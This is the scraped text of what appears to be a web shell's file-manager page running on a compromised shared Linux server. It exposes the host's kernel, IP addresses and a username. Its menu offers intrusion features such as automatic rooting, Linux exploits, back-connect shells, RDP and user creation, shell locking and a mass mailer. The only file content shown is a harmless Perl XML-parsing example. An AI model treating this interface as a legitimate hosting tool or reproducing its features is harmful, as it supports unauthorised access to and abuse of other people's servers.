Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libxml-node-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
foo.xml
51
B
-rw-r--r--
orders.xml
574
B
-rw-r--r--
parse-foo.pl
740
B
-rw-r--r--
parse-orders.pl
1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : parse-orders.pl
#!/usr/bin/perl -w use XML::Node; my $item = ""; my $quantity = ""; my $id = ""; my $date = ""; my $orders = ""; $p = XML::Node->new(); $p->register(">Orders","start" => \&handle_orders_start); $p->register(">Orders","char" => \$orders); $p->register(">Orders>Order:ID","attr" => \$id); $p->register(">Orders>Order:Date","attr" => \$date); $p->register(">Orders>Order>Item","char" => \$item); $p->register(">Orders>Order>Quantity","char" => \$quantity); $p->register(">Orders>Order","end" => \&handle_order_end); $p->register(">Orders","end" => \&handle_orders_end); print "Processing file [orders.xml]...\n"; $p->parsefile("orders.xml"); sub handle_orders_start { print "Start of all orders\n-----\n$orders\n----\n"; } sub handle_order_end { print "Found order [$id] [$date] -- Item: [$item] Quantity: [$quantity]\n"; $date = ""; $id=""; $item = ""; $quantity = ""; } sub handle_orders_end { print "End of all orders\n-----\n$orders\n----\n"; }
Close
